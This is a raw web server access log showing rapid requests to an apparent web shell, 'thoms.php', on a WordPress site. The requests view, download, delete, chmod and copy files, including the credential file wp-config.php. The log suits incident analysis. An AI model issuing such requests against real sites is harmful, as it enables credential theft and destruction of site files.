45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?del=wp-includes&p=beauty-dental.com.tw HTTP/1.1" 200 17373 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Findex.php&p=beauty-dental.com.tw HTTP/1.1" 200 11468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?dl=readme.html&p=beauty-dental.com.tw HTTP/1.1" 200 17374 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=beauty-dental.com.tw HTTP/1.1" 200 11490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-mail.php HTTP/1.1" 200 15350 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?p=beauty-dental.com.tw&upload= HTTP/1.1" 200 12159 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Frelease-endpoint&p= HTTP/1.1" 200 12005 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?dl=.htaccess&p=beauty-dental.com.tw HTTP/1.1" 200 17344 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-cron.php HTTP/1.1" 200 14186 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?del=wp-comments-post.php&p=beauty-dental.com.tw HTTP/1.1" 200 17373 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?chmod=wp-cron.php&p=beauty-dental.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-login.php HTTP/1.1" 200 29040 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-settings.php HTTP/1.1" 200 19465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?chmod=wp-settings.php&p=beauty-dental.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=beauty-dental.com.tw HTTP/1.1" 200 11492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?chmod=error_log&p=beauty-dental.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=index.php HTTP/1.1" 200 12052 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?chmod=license.txt&p=beauty-dental.com.tw HTTP/1.1" 200 11498 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?del=index.php&p=beauty-dental.com.tw HTTP/1.1" 200 17375 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-mail.php&p=beauty-dental.com.tw HTTP/1.1" 200 11473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=license.txt HTTP/1.1" 200 20077 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?del=session-migration&p=beauty-dental.com.tw HTTP/1.1" 200 17375 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?dl=license.txt&p=beauty-dental.com.tw HTTP/1.1" 200 17374 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?del=readme.html&p=beauty-dental.com.tw HTTP/1.1" 200 17375 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-activate.php&p=beauty-dental.com.tw HTTP/1.1" 200 11473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?del=wp-blog-header.php&p=beauty-dental.com.tw HTTP/1.1" 200 17376 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=beauty-dental.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2F.htaccess&p=beauty-dental.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?del=license.txt&p=beauty-dental.com.tw HTTP/1.1" 200 17369 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-admin&p= HTTP/1.1" 200 12005 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?del=wp-activate.php&p=beauty-dental.com.tw HTTP/1.1" 200 17373 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?dl=wp-mail.php&p=beauty-dental.com.tw HTTP/1.1" 200 17374 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fwp-content HTTP/1.1" 200 14103 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?chmod=thoms.php&p=beauty-dental.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?dl=error_log&p=beauty-dental.com.tw HTTP/1.1" 200 17374 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?del=wp-login.php&p=beauty-dental.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?del=wp-settings.php&p=beauty-dental.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 11969 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?chmod=.htaccess&p=beauty-dental.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=error_log HTTP/1.1" 200 14701 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?chmod=locoy.php&p=beauty-dental.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?dl=locoy.php&p=beauty-dental.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:54 -0400] "GET /thoms.php?del=mah.php&p=beauty-dental.com.tw HTTP/1.1" 200 17373 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-links-opml.php&p=beauty-dental.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-trackback.php HTTP/1.1" 200 14104 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?chmod=mah.php&p=beauty-dental.com.tw HTTP/1.1" 200 11476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fthoms.php&p=beauty-dental.com.tw HTTP/1.1" 200 11472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fsession-migration HTTP/1.1" 200 13103 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?del=wp-links-opml.php&p=beauty-dental.com.tw HTTP/1.1" 200 17374 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?chmod=wp-admin&p=beauty-dental.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?del=error_log&p=beauty-dental.com.tw HTTP/1.1" 200 17373 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=mah.php HTTP/1.1" 200 11817 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?dl=index.php&p=beauty-dental.com.tw HTTP/1.1" 200 17375 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-activate.php HTTP/1.1" 200 14817 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12027 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fsession-migration&p= HTTP/1.1" 200 12004 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Flicense.txt&p=beauty-dental.com.tw HTTP/1.1" 200 11471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?del=wp-trackback.php&p=beauty-dental.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=thoms.php HTTP/1.1" 200 11811 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?chmod=index.php&p=beauty-dental.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?dl=wp-config.php&p=beauty-dental.com.tw HTTP/1.1" 200 17374 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?dl=wp-activate.php&p=beauty-dental.com.tw HTTP/1.1" 200 17374 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=beauty-dental.com.tw HTTP/1.1" 200 11487 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=beauty-dental.com.tw HTTP/1.1" 200 17375 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 200 12045 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?dl=wp-load.php&p=beauty-dental.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 200 13443 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?chmod=upgrade&p=beauty-dental.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fwp-includes HTTP/1.1" 200 59419 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=beauty-dental.com.tw HTTP/1.1" 200 17376 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?del=wp-load.php&p=beauty-dental.com.tw HTTP/1.1" 200 17374 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:55 -0400] "GET /thoms.php?chmod=wp-login.php&p=beauty-dental.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-trackback.php&p=beauty-dental.com.tw HTTP/1.1" 200 11474 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-config.php&p=beauty-dental.com.tw HTTP/1.1" 200 11471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?del=wp-cron.php&p=beauty-dental.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=xmlrpc.php HTTP/1.1" 200 13369 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?dl=thoms.php&p=beauty-dental.com.tw HTTP/1.1" 200 17366 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?del=wp-signup.php&p=beauty-dental.com.tw HTTP/1.1" 200 17375 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?dl=wp-signup.php&p=beauty-dental.com.tw HTTP/1.1" 200 17376 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?dl=wp-trackback.php&p=beauty-dental.com.tw HTTP/1.1" 200 17367 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?chmod=wp-includes&p=beauty-dental.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=.htaccess HTTP/1.1" 200 12728 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?del=thoms.php&p=beauty-dental.com.tw HTTP/1.1" 200 17374 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-config.php HTTP/1.1" 200 13728 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-cron.php&p=beauty-dental.com.tw HTTP/1.1" 200 11475 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fupgrade HTTP/1.1" 200 14187 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?chmod=wp-load.php&p=beauty-dental.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Flocoy.php&p=beauty-dental.com.tw HTTP/1.1" 200 11469 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?del=wp-admin&p=beauty-dental.com.tw HTTP/1.1" 200 17366 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?p=beauty-dental.com.tw&settings=1 HTTP/1.1" 200 11884 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?chmod=session-migration&p=beauty-dental.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-includes&p= HTTP/1.1" 200 11957 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?dl=mah.php&p=beauty-dental.com.tw HTTP/1.1" 200 17376 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?dl=xmlrpc.php&p=beauty-dental.com.tw HTTP/1.1" 200 17374 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
